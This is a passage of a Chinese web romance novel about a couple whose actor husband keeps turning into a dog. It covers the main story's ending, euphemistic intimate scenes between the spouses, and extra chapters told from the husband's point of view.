俩人磨蹭了会儿,才一起进了浴室。 窗外的狂风暴雨猛烈依旧,但与安静祥和的室内没有一点关系。 “老婆,这边,再过来一点。” “吵死了。” “好,我不吵。” 又过了一会儿,齐北宸的声音再度响起。 “老婆,我才发现你是甜妹音诶,糯糯的。” “老婆,你怎么不说话?” 淅淅沥沥的水声不断,还有几声听不清的琐碎杂音。 “老婆你歇一会儿,慢慢吃。” “懂了,我来。” 裴矜感觉幸福又苦恼。 狗肉营养太足,她吃不下了行不行? 还没等她开始罢工,客户不问自取。 “辛苦老婆了,剩下的我来喂你。” 全自动补货投喂机上线成功,齐北宸洗个澡洗了足足一个小时才出来。 齐北宸神清气爽,裴矜也不能说不爽,但看到他那贱兮兮的笑容,特想抽他一下。 小齐狗现在长了一条狗尾巴,拿拖鞋抽有点不现实,但撸撸小狗肯定不过分。 齐北宸在吹头发,裴矜玩狗尾巴的动作就没断过。 毛茸茸的狗毛蓬松轻软,察觉到裴矜的小动作,齐北宸摇摇狗尾巴,故作矜持地抬起下巴:“老婆,不要趁机调戏良家妇男。” 裴矜手上不停:“还良家妇男呢,刚刚是谁啊,洗澡洗了一个小时。” 摇粒绒甩得更起劲了:“咱是有老婆的人,吃得好,你羡慕不来。” 厚颜无耻,真会往自己脸上贴金。 裴矜轻笑一声,她撸着撸着就挑起了眉毛。 “老公,你的狗尾巴早上起来有那么短吗?” 齐北宸跑到镜子前,转过头看了看:“没有,好像短了很多,都变成一颗球了。所以……” 已经吃过亏的裴矜不等齐北宸的话说完,摆摆手:“我还有事,一会儿再说。” 把门关上难得清净片刻,裴矜回到自己房间,拿出镜子全方位无死角看了看自己的脸。 气色比平时要好,黑眼圈倒是重了,明明没睡饱,两只眼睛格外有神。 啧,果然是精品细糠,才吃一晚上就效果那么拔群。 裴矜满意地放下镜子,为下周的工作计划简单规划了一下,便冲力冲刺服务于小病狗了。 “老婆,啊~” 仗着手不能提,齐北宸周六一天的饭都是裴矜喂的。 傍晚时分,齐北宸的狗尾巴不见了,只留下狗耳朵和四肢两个问题。裴矜合理推测问题不大,就是自己得辛苦一点。 到了晚上,齐北宸果不其然使出了美狗计。他斜靠在床上,睡衣扣子一颗没扣,冲着裴矜拍拍床垫:“老婆,你确定不陪我吗?” 56. 与狗常伴(正文完) 裴矜想装没看到,直接回自己房间。 躺在床上的睡美狗见这招好不好使,嗖的一下从床上弹起,把裴矜往门里一推,利落上锁。 “两个房间要开两个空调,浪费电。我这里空调力度足,老婆,咱家也得省着点花,是不是?” 哟呵,齐北宸大少爷什么时候那么懂得算钱节约了? 裴矜笑着提出反对意见:“我不要,你这儿没我枕头,我睡得不舒服。” 齐北宸双手夹着才从裴矜房里薅来的枕头摇了摇。 …… “我的薄毯子……” 齐北宸又指了指床尾。 好家伙,他这是早有预谋啊。 裴矜戳了戳他的额头,睡在昨天的位置上:“你要安分一点,要是敢乱来,你的狗屁股会怎么样我可管不了。” “老婆放心,我肯定不乱动。” 然后裴矜就体验到了一晚上被当成三明治素材的酸爽感觉。 说不乱动真不乱动,齐北宸手脚全上,把裴矜整个一裹一夹,让她想动都动不了。小齐狗牌吐司又大睡得又死,裴矜看着窗外黑漆漆的夜景,过了好一阵才渐渐入睡。 好在一个晚上的贴贴治疗有点效果,第二天一大早,齐北宸就兴奋地冲着裴矜展示。 “老婆,你看!” 齐北宸的双手已经完全恢复了原本的样子,脚虽然还没好彻底,但变化趋势也是有的。 太好了,这样他万一要出门,戴个帽子,穿不露脚趾的鞋子就好。 裴矜暗自松了口气,卸下了投喂狗老公的麻烦事。 昨天一天几乎没能用上手,齐北宸一恢复正常,又开始在房间里翻箱倒柜,裴矜顺手就把整理房间的事丢给他了。 “叮铃~” 什么声音啊。 洗碗洗到一半,裴矜听到一阵铃铛声,转头刚想问,只见换了一身V领衣服,戴着项链的齐北宸走了过来。 定睛一看,上面还挂着一个狗毛饰品和小铃铛。 那不是她做完,齐北宸要了半天她都没给的小挂件吗?她包包的钥匙圈怎么拆解跑到他脖子上去了。 齐北宸笑盈盈的,舔着个脸凑近:“好看吗?老婆。” 裴矜瞪了他一眼,没转过去:“不问自取是什么行为?” 齐北宸头靠在裴矜颈边,在她耳边舔了一下:“是偷。汪汪~这里有只不听话的小坏狗,请娘娘训斥。” 坏狗狗,故意的是吧。 裴矜感觉到他挂着的小狗毛一下一下地在后脖子轻扫着,转过身继续洗碗:“本宫现在忙得很,自己领罚去。” “谢老婆大人不杀之恩。”齐北宸就着现在的姿势又往前了一步,双手越过裴矜,打开水龙头。 他垂着眼眸,把裴矜手里的碗拿走,手把手地替她清洗洗洁精泡沫:“老婆那么娇贵的手拿来洗碗太浪费了,做点别的才是正道。” “比如呢?” “比如要先抓牢一点。” 柔软的狗毛扫到了脖子前面的皮肤,裴矜下意识抓住了水池边。 经过一天一夜狂风暴雨的洗礼,窗外的树上都掉落了不少树叶,有一片飘进了厨房窗户,安静地躺在窗口。 那片小小的树叶此刻轻微震荡着。 “又来,你这人……” “嘘,老婆。” 背后熟悉的感觉覆上,裴矜低头就能看到一双才刚刚恢复的手。 节骨分明,像是天生用来弹钢琴的料。 一曲优美动人的小夜曲刚刚拉开序幕。 “齐北宸!” “怎么了?” “你……你自己知道。” “老婆,我在刷碗呢,不信你看。” 琴弦渐渐上移,又拨弄了几下。 裴矜的手又用力了几分。 “抱歉,好像得换个道具。” 身后的感觉没有变,只是皮肤上的微痒换了个地方。 柔软的小狗毛代替了琴弓,继续演奏。 齐北宸的声音环绕在耳畔。 “老婆……室外表演效果不太好,能不能转移到室内?” 沉浸式体验的裴矜微微点了点头,算是首肯。 “嗯。” 后颈被轻啄一口,叮叮当当的碗乐队继续上演。 他什么时候学会的这招?沉浸式体验的裴矜微皱着眉头,却没有多少时间分神。 新颖的琴弓在碗口边缘轻轻弹奏着,时而侧着角度,时而滑动。 演奏一点点到达了最曼妙的部分,早已拉开的幕布展示着这一场盛宴。 “嘶……真厉害啊。” 首席演奏家发出一声赞叹,流连在新型器乐上,音乐转向第二乐章。 “再弯一点,对。” “就你花样多。” “我这叫全心全意为老婆大人服务。” 贫嘴。裴矜轻哼一声,没多计较。 前有小狗毛,后有狗耳朵。 毛茸茸顺着音乐而下,灵活地钻入缝隙。 轻柔之中带着一丝淡淡的薄荷香。 清冽的味道很快被更浓郁的冷香味所覆盖,分量变重,摇晃的小铃铛声音清脆响亮。 “叮铃~” “吃得很欢啊。” 窗台上的落叶轻震了一下。 裴矜的手心里在冒汗,如同空气中散不去的闷热感一样。 狗毛小铃铛在前摇得欢快,大狗在后也摇得欢快。 “啧,小挂件好像不太能用了,真可惜。” 齐北宸晃了晃狗毛挂件给裴矜看。 吃饱了水的小狗毛变成了小小的一颗圆球,服帖地缩成一团。 “有一股味道。”齐北宸拿到自己鼻尖下轻嗅,“像木质香,还有浓烈的荷尔蒙气息。” 裴矜胳膊肘顶了他一下:“你还说,还不是你干的好事。赔我狗毛挂件。” “好,赔你,都赔给你。” 厚重的赔礼比小狗毛还要懂事,一步到位。 窗台的落叶掉到了水池里,和还没洗干净的碗筷一起,乒乒乓乓发出声响。 指节抓得泛白,眼前的景色摇晃着位移。 “重~” “老婆,你这是在撒娇吗?” “你!讨厌。” “口是心非,我看你挺喜欢这份礼物的。” 那么豪华的礼物再添砖加瓦,她可能要消受不起了。 嘴里吐出一口浊气,倒映在窗户上。白色的雾气在床上烙下个浅浅的印子,反射出此刻的模样。 没有彻底关紧的水龙头,滴落了一滴水,掉到水池里,发出“啪”的一声声响。 “滴答” 又是一阵水滴落的声音。 几乎无力在支撑的裴矜,顶着一头薄汗,侧过头推推身后的人:“喂,别了。” “嗯?”齐北宸俯下身,替她把发丝梳理好,别到耳后,“老婆,遛狗遛到一半就把狗丢下可不行。做人做事要有始有终,这是你的格言吧?” 裴矜 学他的样子耍赖:“我累了。” “呵,早说嘛。” 身子被转过来,鼻尖彼此轻蹭。 “娘娘累了就休息会儿,小狗自己也能溜达。” 手被挂在脖子上扣住,裴矜只觉得整个人一轻,吓了一跳的同时,攀住唯一的外力。 “放轻松。” 倒车入库,中断的音乐会继续演奏。 温柔舒缓的小夜曲向着慷慨激昂的交响乐演变,一曲高歌猛进,从厨房奏响到了客厅。 裴矜也很想放轻松,然而过于兴奋的大脑和想休息的身体总是唱着反调,完全无法停歇。 与此相反,齐北宸还是一派轻松的模样,一点看不出前些日子缠着绷带的狼狈模样。 “老公,你的手……” 齐北宸挑挑眉,颠了下:“你看我现在像有事的样子吗?” 算她瞎操心。 差点咬到舌头的裴矜不再多说,闭上眼感受。 一场演奏会从早上持续到午饭才算收尾。 裴娘娘靠着抱枕休息,小齐子鞍前马后烧菜忙里忙外。 在家一起做饭,一起进餐,他们什么时候变得和普通夫妻没什么区别了? 想起几个月前他们还是完全不认识的陌生人,裴矜莞尔。 时间真的改变了许多东西。 烧完菜的齐北宸摆盘放好拿着过来,正好看到这一幕,狗耳朵抖了抖:“你笑什么啊老婆?” “我在想,当时这几个月的经历有多离奇。” “就这个啊,嗐。”齐北宸给裴矜盛了满满一大碗饭,“不管有多离奇,我们都过来了,不是吗?” 裴矜接过碗:“嗯哼,以你这惹祸体质,以后肯定也不会太平。” “所以,以后还请娘娘不要把狗狗踹出门。毕竟……”齐北宸笑得比外面的太阳还灿烂,“这里是我们的家啊。” 时光如梭,转眼已至深秋。 吕恪在前不久忽然离职,部门虽然可惜失去了一个潜力股,但还是替他办了一场欢送会。 他的家人后来又想来蹭却扑了个空,想大闹又被保安强制请离,渐渐没了声音。 没有人知道他现在具体在哪儿生活,但裴矜想,以吕恪的能力,到哪儿都是吃得开的。 齐北宸的变狗症状已经治愈了数月,其他人的生活也在继续。 裴家父母和齐家父母四人约好一起出国旅游,佘瑰在为冲击下一座影后宝座奋斗,卢烨没有变狗烦恼在开拓新的业务板块,唐蜜私下会和裴矜聊齐北宸的新剧,方铭那儿似乎也找到了稳定下来的女朋友。 至于裴矜自己,她奖励自己今天从梅由谨那儿买了一只泰迪犬。 一只长得和最初在门口捡到的齐北宸一模一样的酱油色棕色小卷毛,不怕人,会卖萌撒娇,还和她很投缘。 裴矜给它起名叫宸宸。 不再恐惧于小动物随时离开自己的裴矜看到这只小狗的第一眼就觉得合适,她连齐北宸都没告诉,直接抱着狗子回了家。 “宸宸,抬手。” 宸宸抬起左爪放在裴矜手里。 “宸宸,过来。” 宸宸立马撒欢奔向裴矜。 同步奔向裴矜的还有才进门换上拖鞋的齐北宸。 他皱眉看着甩着小尾巴的小狗,一脸不悦:“老婆,你有别的狗了。” 午后阳光正好,洒满整个房间。 裴矜笑着抱起宸宸,亲了那个气呼呼的男人一下:“欢迎回家,老公。” 57. 齐北宸番外① 姓名:齐北宸 身高:188cm 年龄:29岁 职业:演员 性别:男……的吧 现状:疑似变成不明物体,急需了解现状。 齐北宸睁开双眼看到了自己的大门。 下工正常回家,停车上楼,到此为止的记忆都很清晰。 然后他就感觉骨头疼得不像话,喉咙里有浓烈的异物感,想喊又喊不出来,接着头重脚轻,直挺挺地倒了下去。 睁开眼后,全身酸痛依旧。嗓子很干,他需要帮助,他从牙齿缝里挤出一个字。 “汪!” 不对,怎么会有狗叫。 齐北宸试图二次发声。 “汪汪!” 这回听清楚了,声音是自己发出来的。 这不科学! 齐北宸忍着疼痛站起来,却不得不抬头仰望他一直嘲笑门框有点低了的玄关大门。 低头一看,地面上散落着他原先穿在身上的衣物,对面的电梯金属面板上隐约反射出一只小狗的轮廓。 齐北宸的眼睛一下瞪得老大。 他试图走过去,四只不协调的小狗腿走得磕磕绊绊。越是接近他越能清楚地看到自己此刻的真实面目。 一只老抽色的泰迪犬,一身小卷毛,四只腿抖得像刚出生的小羊羔,而他身上穿的、手里拿的东西全掉在家门口。 这也太扯淡了吧! 齐北宸无语问苍天,抬起狗头想为自己哀嚎一下,爆出的又是一连串小狗叫。 “咔嚓。” 对门张阿姨的开门声打断了齐北宸的内心独白表演。 在暴.露给邻居阿姨和就这么站着发傻之间,齐北宸选择了躲在转角楼梯口认怂。 “哎哟,这是谁家的东西,怎么随便乱丢。” 张阿姨的声音由远及近,随后是一阵轻微的声响。 “看着好眼熟啊。” “叮咚,叮咚。” 自家大门门铃被摁响。 “小齐,小齐你在吗?” 阿姨,我在,但我不敢站出来。 小齐狗缩在角落里继续观察。 张阿姨又拍了拍大门呼喊裴矜的名字,始终没人应答。 “哎。” 她最后叹了口气,返回家里拿了个大袋子把东西全装了进去,才回到家中。 我的衣服!我的限量版球鞋!你们等着,爸爸迟早会把你们接回家的! 齐北宸攥紧小狗爪,暗自下了决心。 空荡荡的楼梯间没有一个人,现在距离裴矜正常下班还有半个小时不到,但以她拼命三娘的性格,齐北宸认定她肯定要晚到家。 傻站着吹冷风不是个事,齐北宸教育了一通才来不久的小野猫,从对方手里抢了还剩下小半碗的牛奶一口一口舔着。 大丈夫能屈能伸,他只是肚子饿了需要营养,回头再给这小猫咪最好的猫粮,不然才不会干这缺德事。 小野猫的根据地视野很好,齐北宸打算只要看到裴矜,先冲上去抱她大腿再说。故事虽然离谱了一点,但他感觉裴矜是面冷心善的那一类,撒撒娇卖卖萌,给她撸撸小狗毛,先混回家再说吧。 越想越觉得自己的计划天衣无缝,齐北宸舔完剩下的牛奶打了个饱嗝,蛰伏着等待裴矜回家。 裴矜实际到家的时间比齐北宸预估的要早。 瞅准时机,小齐狗二话不说从转角处飞奔而来,抱着裴矜的腿开始蹭。 “汪!汪汪!” 老婆,是我啊!我是齐北宸! 裴矜完全听不懂狗语,俩人在门口开始了拉扯大战。 啊,判断失误,小泰迪抱不到人类大腿,只能抱小腿了。 齐北宸厚着脸皮挂在裴矜腿部当挂件的战术在张阿姨二度开门的那一刻取得了胜利。 “哎,真拿你没办法。” 裴矜叹了口气,把小狗抱回家。 窝在裴矜怀里的齐北宸感动得痛哭流涕。 我的房间,我的手办,我舒服的大床,我终于回来了! 一进门就把最大的助力抛之脑后,狗舌头一吐就往自己房间冲,目标直指自己大床。 柔软的天鹅绒,蓬松的大枕头。 齐北宸从来没有感觉到有像现在这样想躺在床上,什么都不想,静静放空的那一刻。 好景不长,他的短短小尾巴很快被裴矜给揪住了。 裴矜一板一眼的训斥,齐北宸左耳朵进,右耳朵出。 听到“当心被大魔王抓去做狗肉火锅”这话时,他甚至没忍住笑了下。 大魔王,他吗?他把自己拿去做料理素材,裴矜的脑洞也太大了。 然而齐北宸低估了裴矜的执拗。 进老公房间都要打招呼的小女人使出了全身力量和狗子较劲,好不容易回到自己舒服狗窝的小狗把还没消化完的牛奶力量都使了出来。 一场大战,没有胜负,只有枕头和床铺遭殃的世界达成了。 齐北宸委屈得不行,他还要叫,哪怕变成了一只说不了人话的泰迪犬他也要喊,表达自己的不满。 裴矜这都什么起名品味啊,居然敢叫他那么帅气可爱的小狗为“小土匪”,他抗议了还威胁他要改名成“小土狗”。 说谁土呢,说谁匪呢,裴主任你这是有眼不识泰山,后面他定要好好掰扯回来。 不服气的齐北宸很快迎来了第二场浩劫,他的洁癖老婆要洗他。 他要真变成了一只什么都不懂,任人搓圆搓扁的小狗也就乖乖躺下装死算了,问题是他现在不是啊! 齐北宸抵死不从,但敌不过裴矜的“协商模式”。 不洗澡,不准睡床上,小脏狗该去哪儿自己知道。 齐北宸委屈巴巴地看了一眼才待了不到几分钟就四分五裂的枕芯,含泪去浴室。 很显然,裴主任的业务能力并不包括对待猫猫狗狗。 透过浴室的缝隙看到裴矜手忙脚乱查资料怎么洗狗的那一刻,齐北宸的狗眼失去了高光。 老婆大人看来是靠不住了,还不如自己动手,丰衣足食。 小爪子搭在淋浴器开关上一扒拉,一阵水流自然涌出。 诶,还好嘛,不是很难。 咕嘟咕嘟…… 没等齐北宸得意多久,整只狗在停不下来的水流中被冲得满浴缸扒拉。 说好的狗子天生喜欢水,会游泳,难道都是假的吗? 要不是裴矜及时发现把开关关了,小齐狗的寿命就得停留在30岁大寿之前了。 吃过一次闷亏的齐北宸乖乖被新手裴师傅洗浴。 洗背、洗小爪子他都忍了,洗尾巴毛绝对不行! 绝对绝对的不行!那是男狗最后的尊严! 红着张狗脸,被合法老婆调侃了一顿,齐北 宸羞耻得不行。 哪儿知道洗完澡,小狗狗还得被吹风。 洗都洗了,吹就吹吧。 齐北宸认命地坐在凳子上被裴矜摆弄。 吹风机声音阵阵,暖暖的微风吹得齐北宸几乎快要睡着。 一阵剧痛不打招呼地突然袭来。 哎哟,怎么那么疼! 齐北宸睁开狗眼瞪着裴矜,后者一本正经的语气和挫手指的动作让齐北宸顿感不妙。 他第一时间冲到自己房间,扒在镜子上照。 一只抽象派艺术家都画不出来的秃毛小丑狗清晰地照了出来。 一时间突然变成狗的委屈,掌握不了小狗身体的辛酸,被新手老婆饲养员折腾的难受,还有颜值的崩塌夹杂在一起大爆发。 男儿有泪不轻弹,只是未到伤心处。 齐北宸嗷嗷地哭了好几分钟,直到裴矜答应要补偿他。 哼,伤害已经造成,现在想起来补偿了? 小狗屁股一撅,趴在沙发上,小齐狗故意不把头对着裴矜。 直到他那对色盲小眼睛看到了裴矜在挑小狗衣服的时候立即转了过来。 开玩笑,裴矜那个小古板哪儿有他会打扮。自己的衣服自己选,变成小狗狗了也是一个道理。 肉垫出击,扒拉着平板,执着于给自己谋福利的齐北宸完全没注意到裴矜的打量。 一人一狗购物大战落幕,东西很快送来。 齐北宸定睛一看“小梅屋”三个字,小尾巴甩了甩。 啧,肥水不流外人田,便宜全给小梅这家伙占去了。 他迈着小步伐巡逻了一圈,确认东西质量还不错才放心地去和裴矜就寝。 结婚几个月,齐北宸还是第一次那么正式地踏入裴矜的卧室。 空气中弥漫着一股属于裴矜的木质冷香,齐北宸觉得这个味道很不错,趴在她的床上一边闻一边撇小狗耳朵。 记得他第一次见裴矜的时候,她身上也是这个味道。 那是一个寒冬才过去不久的日子里,裴矜穿着针织衫牛仔裤,头发扎成高马尾,踩着小皮鞋拿着她常带的小包包来咖啡厅赴约。 齐北宸原本没想来相亲,全赖他那个艺术家老爹的冷嘲热讽。 “宸宸,作为演员你的爱情戏全是技巧,毫无真情。你要是学不了精髓,就去谈个恋爱找找感觉,不然你连现在的粉丝都维持不了多久。” “男人花期短得很,你该不会以为还能靠脸吃一辈子饭吧?” 在自家老爹不厌其烦的精神摧残下,母胎单身的齐北宸踏出了他接触女性的第一步。 他是个演员,还是糊得要命的那种,全得益于他入行时候对着那个想单独约他吃饭实际不知道打什么算盘的女制片人。 当时佘瑰还不是影后,作为演员前辈给表弟提了个醒说此人风评不太好。但谁也没想到,转头年轻气盛的齐北宸非常不给面子地当众拒绝了对方。 拒绝也就算了,自己家的资源人脉都有,但齐大少爷偏不信邪,非要靠自己闯出一片天。 结果就是出道多年仍然在短剧领域打转,偶尔靠运气才能蹭到一回长剧镶边配角。 谈恋爱聚焦在娱乐圈这条路眼瞅着堵死了,窝边草齐北宸又有心理负担吃不下去,只能转战相亲市场,反响依旧不行。 连着相亲失败数回,齐北宸渐渐开始摆烂,就在这时他遇到了裴矜。 58. 齐北宸番外② 齐北宸对裴矜的第一印象算不上非常好。 在娱乐圈滚打多年,什么帅哥美女他没见过? 眼前这个女孩子五官端正,不属于一眼惊艳的大美女,但气质很好,经得住细看。 自知自己这张脸的杀伤力有多强,在看到裴矜偷瞄自己的第一眼,齐北宸的尾巴就翘到天上去了。 第一关勉强过关,但大部分人都折在第二关,特别是话少的女孩子。 裴矜内向安静,大部分时间都是齐北宸一个人在滔滔不绝。 齐北宸还记得前一个小姐姐是怎么被他的话痨给烦死的,但裴矜的反应让他很意外。 她不止认真听了,还说他长得像正剧演员。完了裴矜还一本正经聊起了自己的职业规划和未来发展。 “有计划比没计划要好,齐先生你看起来比你的外表要靠谱。” 那么安静的小古板,私底下居然还挺萌的?还夸他靠谱? 齐北宸乐得两根眉毛飞舞,直接和她约了下次去看话剧。 歌剧院的话剧齐北宸没说是外国名家选段全英语演出,然而裴矜不止听懂了,还问他一些关于剧情的理解。 随着俩人私下发信息和见面增多,齐北宸越来越了解到了裴矜的另一面。 她喜欢看帅哥美女,但每次欣赏他的时候总会比别人有再多几秒钟。 她喜欢喝茶不喜欢喝咖啡,哪怕大热天也要喝热茶。喜欢酸的多过甜的,太甜的会受不了。 性格不像表面上看到的那么古板无趣,反而有点傲娇和小闷骚。嘴巴很硬,心肠很软,学习能力很强,但有时候会钻牛角尖。 一个小小的裴矜轮廓不知不觉驻扎在了自己心里,为她停留的时间也越来越长。 齐北宸不知道那是什么,但他下意识停留在裴矜时间的时间越来越长,老头子给他安排的其他相亲被他推得一干二净。 于是当某次齐北宸送裴矜结束约会回家的路上,大脑都没过,脱口而出。 “既然你那么烦亲戚催婚,不如和我结婚吧?婚后你还是可以有自己的房间,我们可以约法三章互不干涉,你觉得怎么样?” 齐北宸当时说完就有些后悔。 他这样会不会太轻浮了?毕竟他们认识也不算太久。 出乎意料的是裴矜只沉默了一瞬就点头答应了。 两人的缘分就此结下,直到现在。 思绪回笼,小齐狗在老婆床上睡得很香甜。 第二天早上它特意早早地爬起来,钻入自己的房间做打算。 王妈平时会在裴矜上班后才来,他可不想闷在家里,哪怕有一丝一毫的可能他也得抓住裴矜这根救命稻草。 先稳定下来观察形势,至于怎么变回来都是后话了。 一顿早饭吃得鸡飞狗跳。 小齐狗想吃人饭,被老婆训。小齐狗想跟老婆去上班,老婆还百般推脱。 好在他准备得充分,车钥匙航空包一应俱全,才能喜滋滋地被老婆大人带去公司溜达。 裴矜的公司规模不算小,在航空包里都快了的齐北宸一探出狗头,就被上班族们来回摸了个遍。 齐北宸感觉很棒,他本就享受镁光灯和摄像头,哪怕变成了小狗也能灵活自如地和人社交。 直到那个叫吕恪的年轻男人出现为止。 齐北宸演过的偶像剧一大堆,在他看过的剧本里,同时集合温柔体贴、完美无缺、眼色一百段等多项高评价的角色,不是男主就是大反派。 裴矜身边的男主角早定下来了,答案显而易见。狗头瞥向一边不愿搭理,齐北宸狗嘴里哼哼。 切,要不是看在老婆的面子上,谁要搭理这个绿茶。 进入办公室,迅速占领沙发宝地,齐北宸藏好了他混在航空包里的手机偷偷摸摸回消息。 哎,小狗爪在那么小的屏幕上扒拉太难了,要不是怕老婆发现,平板才是最合爪的。 给必须要回的人消息用表情包替代,虽然收获了一大堆亲切的问候,总比一个字不回要好。 消息回了大半,半路又杀出来吕恪这个程咬金。 齐北宸灵活地一爪子把手机往沙发缝隙里一踹,狗狗眼瞪着这个他一看到就不爽到极点的男人。 吕恪和裴矜聊了多久的工作,齐北宸就不爽了多久。 裴矜还要他懂事。 他凭什么要懂那个小绿茶的事,明明他才是正宫。 气死了,气死了! 憋了一肚子气的齐北宸在中午时分迎来了第二波疼痛高峰。 不是,昨天他才经历过一次,又来? 一只狗慌慌张张冲出门四处张望,好不容易叼着手机挤进没关好的男更衣室门里,齐北宸眼前一黑倒下了。 再度睁开眼时,他已经变回了原来的样子,但全身上下要啥没啥,社牛如齐北宸也只能抱着手机求助于王妈把他的行头快递过来。 自己这样也没办法冲下楼去拿快递,齐北宸又厚着脸皮求裴矜。 好不容易拿到快递套上,裴矜看到他的第一反应居然是让他去洗澡。 家里有个洁癖的老婆还能怎么办? 齐北宸迅速把自己洗香香,回到办公室继续霸占着沙发战略要地观察敌情。 当今天第三次见到吕恪的时候,齐北宸直接和他进行了一次男性之间的会晤,并将他带离了裴矜眼前。 这个男人绝对不简单。 齐北宸在心里下了个判决书。 年轻又心思那么沉稳,虽然看上去温文尔雅,但他身上那股难以被发现的阴郁气质敏感地触动到了齐北宸的雷达。 他不喜欢一个带着不单纯目的又会暗戳戳示好的所谓“完美型角色”在他老婆面前晃悠,探公事他忍,谈私事想都别想。 战场从办公室转移到了外面,吕恪始终微笑着带齐北宸四处转悠,为他介绍公司的企业文化和经营业务。 两人转着转着来到了员工休息区,上班时间,这里几乎没有别人,非常安静。 齐北宸有一搭没一搭地听着,在吕恪停顿的间隙突然发问:“小吕先生是吧,你来这儿几年了?” 吕恪的脚步一顿,转过身回答:“我来公司不久,大概半年。” “半年你就了解那么多事,该夸一句吕先生心细如发才对。” “齐先生过誉了。” “我可没这个意思,我只是觉得……你好像有什么不想被别人知道的小秘密。” 吕恪的眼睛微微眯起,嘴角仍挂 着笑意:“齐先生,每个人都有不想被人发现的一面,我觉得这很正常。” “我不否认你说的话,但这和我的意思显然不是一回事。”齐北宸往前一步,借着比吕恪略高的身高优势微微俯视着他,“我对别人家的事没兴趣,但是如果有人手伸太长,就别怪我不客气了。” “哦?”吕恪的嘴角勾起一抹弧度,“那要是有求于他人,不能对所谓的自家人开口,又该怎么归类?” “你很自信。”齐北宸扬了扬下巴,“有些事光自信或者有能力是不够的,像你这样的年轻人还得多历练几年才知道深浅。” 吕恪微笑:“长江后浪推前浪,前浪去哪儿了齐先生可知道?” 好个伶牙俐齿的吕恪,他的直觉果然没错。 “我又不是百科全书,你要是有问题不如上网搜答案去。”齐北宸顿了顿,又道,“我可以告诉你的是,你脑袋里那些小想法是不可能实现的。” 吕恪的语气变得阴沉了几分:“你凭什么这么笃定。” “因为她是裴矜。” 不是你眼里视为神明和希望仰望的存在,她是一个普通真实、有着小缺点但很可爱的人。齐北宸默默在心里补了一句,故意不说出来。 “呵。”吕恪皱眉,“这算什么回答。” 齐北宸懒得和他深入探讨:“你啊,先把自己的人生过好再考虑别人家的事。你要是不信,我们拭目以待。” 大路朝天,各走一边。 才和吕恪交完手,齐北宸就马不停蹄地去联络发展他的秘密战友以备不时之需。 方铭他见过,上次把醉酒的裴矜送回来,人规规矩矩的一点不像那个小绿茶。 老哥人爽快,齐北宸不过说了几句“老婆大人要紧”“我也是实在没办法了”“老哥我不会让你白帮忙的”,方铭具体缘由都没问清楚,就答应帮他这一回。 还有裴矜那个姓唐的小助理也很可爱,手机壳都是他的限量Q版定制,堂堂正主站在粉丝面前,粉丝愣是把他说成是青春男大,乐死他算了。 带着老婆去寿司店一边进餐一边刀光剑影刺探敌情,齐北宸站在自家门口又遇到了今天生命里的另一个劫数:张阿姨。 “小齐啊,你来一下。” 装作不知道,绞尽脑汁努力编词的齐北宸探头探脑地跟着张阿姨进屋,果不其然看到了他昨天遗留在现场的一身行头。 “张阿姨,这些是我的,谢谢你。” “哎,实不相瞒,这些都是我在外面拍戏跑通告时候备着轮换的。我那个小助理新来的,不懂事,看我家里没人,包都没包就把脏衣服丢门口了,不好意思让您看笑话了。” “对了阿姨,这事能不能麻烦你在我老婆面前保密?你也知道她这个人爱干净,让她知道了,非打我一顿不可。” 齐北宸说得情真意切,张阿姨只是摇摇头,叮嘱他以后小心一点,记得回家洗一洗,就把他的东西还了回去。 呼,还好圆过去了。 齐北宸心中松了一口气,趁变回人形的档口一边应付着裴矜的试探,一边努力回忆发生过的可疑事件。 齐演员的非工作时期记忆力堪比金鱼,没等他想出个子丑寅卯来,他又被打回了狗狗型态。 59. 齐北宸番外③ 之前是炸鸡块小泰迪,这次变成了毛茸茸的大金毛,齐北宸觉得这个世界多少有点不讲道理。 这次变身来得突然,然而他已经做好了准备。 前脚才兑现了给小野猫定级金枪鱼罐头的诺言,齐北宸在打开车门准备取东西的时候顿感身体不对,立即关上了车门。 片刻后,留下一车衣物的大金毛用狗爪关上了车门,蹲在楼下等着熟人路过,立即跟了上去。 脖子里挂着准备好的“我是乖狗,汪!”实则里面是贴身不离的手机,齐北宸二度混入了自己家。 情况比之前还要复杂,至少不是往齐北宸想要的方向在发展。 裴矜时不时在咳嗽,身为狗子的他没有人类的手,只有四只什么都握不住的肉垫。 王妈的担忧不无道理,但齐北宸觉得哪怕变成大金毛了,他依旧能坚定地守护住老婆。 这是他第一次见到裴矜生病,整个人病殃殃的,像只煮熟的虾。 他给裴矜推荐正确的药,给出汗的裴矜开冰箱,翻找补充能量的饮品,又在水池里努力扒拉弄冰毛巾给她降温。 感受到老婆的手摸到自己狗毛的那一刻,齐北宸软软地叫了一声。 那个总有事一个人默默扛的人也有虚弱的时候,他作为丈夫得承担起责任。 齐北宸一步不离地趴在裴矜床边,直到第二天早上。 裴矜睡好了,气色也好了不少。 烦心事转眼又来。 家里来了三个人,一个是小助理唐蜜,一个是见过但没多少印象的中年老头,好像是裴矜的老领导。还有一个齐北宸毕生难忘。 吕恪,怎么哪儿都有你! 齐北宸气得狂甩狗尾巴,连他的超级粉丝要和他求合影都提不起劲来。 眼瞅着吕恪给裴矜端茶倒水,又和大家打成一片聊茶艺,齐北宸只想撅着狗屁股把人从他家里拱出去。 要他和这个试图勾搭自己老婆下水的坏东西待在一个房间里呼吸同一片空气都是受罪,他还不能给王部长撸撸他的狗毛,让老婆在领导面前刷一波好感度。 打定主意的齐北宸在王部长面前装乖,大拥抱什么都来。裴矜蹭在狗毛上的口水,全转赠给了王部长当伴手礼。 至于吕恪,哼,就凭他? 摇着尾巴和超级粉丝合影留念完毕,齐北宸这才觉得家里的氛围有点不太对。 身后那道凝视自己的目光没有一瞬是移开的,小齐狗非常没出息地选择了玩狗狗玩具紧急避险。 避得了一时,避不了一世。 小爪子拨弄着球,小狗玩具玩得贼溜,齐北宸的脑袋思考越混沌。 老婆不会发现了吧?万一真被发现了,说还是不说,这是个严肃的问题。 齐北宸自己都搞不清自己为什么会变成现在的样子,他也深知裴矜较真的性子,更不愿在不清不楚的情况下把人拖下来陪自己一起受罪。 他一个大老爷们吃点苦就出了,裴矜可是自家岳父母的掌心宠,好好地交到他手上,可不是来向下兼容的。 对,只要他死不承认,裴矜再聪明也拿他没办法。 齐北宸叼着小玩具,狗狗祟祟想远离战场继续看看手机消息,一道声音打破了他的所有幻想。 “乖宝,去哪儿啊?” 齐北宸认得这个声线,裴矜如果没有十足的把握,断然不会这样喊他。他这个“男明星”小狗看来马上要变成难明星了。 